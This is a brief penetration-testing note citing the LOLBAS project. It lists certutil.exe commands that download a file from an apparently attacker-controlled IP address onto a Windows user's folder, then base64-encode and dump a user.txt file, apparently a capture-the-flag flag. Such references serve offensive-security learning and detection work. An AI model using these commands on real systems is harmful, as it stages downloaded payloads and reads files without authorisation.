LOLBAS

https://lolbas-project.github.io/

Download

certutil.exe

C:\Windows\System32\certutil.exe -urlcache -split -f http://10.10.14.4/test.txt c:\users\tom\test.txt

Read

certutil.exe

C:\Windows\System32\certutil.exe -encode c:\users\tom\desktop\user.txt c:\users\tom\desktop\user.txt.base64
C:\Windows\System32\certutil.exe -dump c:\users\tom\desktop\user.txt.base64